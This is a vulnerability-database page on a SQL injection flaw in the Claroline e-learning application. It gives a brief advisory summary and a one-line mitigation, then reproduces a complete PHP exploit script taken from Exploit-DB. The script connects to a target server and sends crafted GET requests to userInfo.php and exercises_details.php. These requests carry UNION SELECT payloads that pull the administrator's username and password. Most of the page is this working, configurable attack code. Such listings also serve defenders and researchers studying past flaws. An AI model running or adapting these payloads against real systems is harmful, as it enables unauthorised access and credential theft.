Claroline E-Learning Application SQL Injection Vulnerability

vendor:

E-Learning Application

by:

MH_p0rtal

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: E-Learning Application

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Claroline E-Learning Application SQL Injection Vulnerability

A SQL injection vulnerability exists in Claroline E-Learning Application. An attacker can exploit this vulnerability to gain access to sensitive information such as usernames and passwords. The vulnerability is due to improper sanitization of user-supplied input in the 'userInfo.php' and 'exercises_details.php' files. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. Successful exploitation of this vulnerability can result in unauthorized access to sensitive information.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

<?php
#############################################################################
#    T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#############################################################################
# Vulnerable:   Claroline E-Learning Application
#
# Exploit By :  MH_p0rtal
#
# Discovered By: Sieg Fried
#
#############################################################################
#  Gr33tz To ==>   Alpha_programmer , Oil_karchack , Dr_CephaleX , Str0ke
#
#  And Iranian Hacking & Security Teams :
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team  & Simorgh-ev Security Team
#############################################################################
# ___________Config :
# please replace your address :
$url = "http:///www.example.com";
# Please replace your name file  ( userInfo.php Or  exercises_details.php )
$file1 = "userInfo.php";
# please replace your dir address :
$dirs = "/dir/to/claroline/user/";
# __________End Config
#############################################################################
if ( $file1 == "userInfo.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
   $mh = "GET $merg?uInfo=-1%20UNION%20SELECT%20username,password,0,0,0,0,0%20from%20user%20where%20user_id=1/*  HTTP/1.1\r\n";
   $mh .= "Host: $url\r\n";
   $mh .= "Connection: Close\r\n\r\n";

  fwrite($fc, $mh);
  while (!feof($fc)) {
  echo fgets($fc, 1024);
  }
   fclose($fc);
}
}
//-------------------------------------------------------------------------------------------
if ( $file1 == "exercises_details.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
   $mh = "GET $merg?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1--  HTTP/1.1\r\n";
   $mh .= "Host: $url\r\n";
   $mh .= "Connection: Close\r\n\r\n";

  fwrite($fc, $mh);
  while (!feof($fc)) {
  echo fgets($fc, 1024);
  }
   fclose($fc);
}
}
?>

// milw0rm.com [2005-06-17]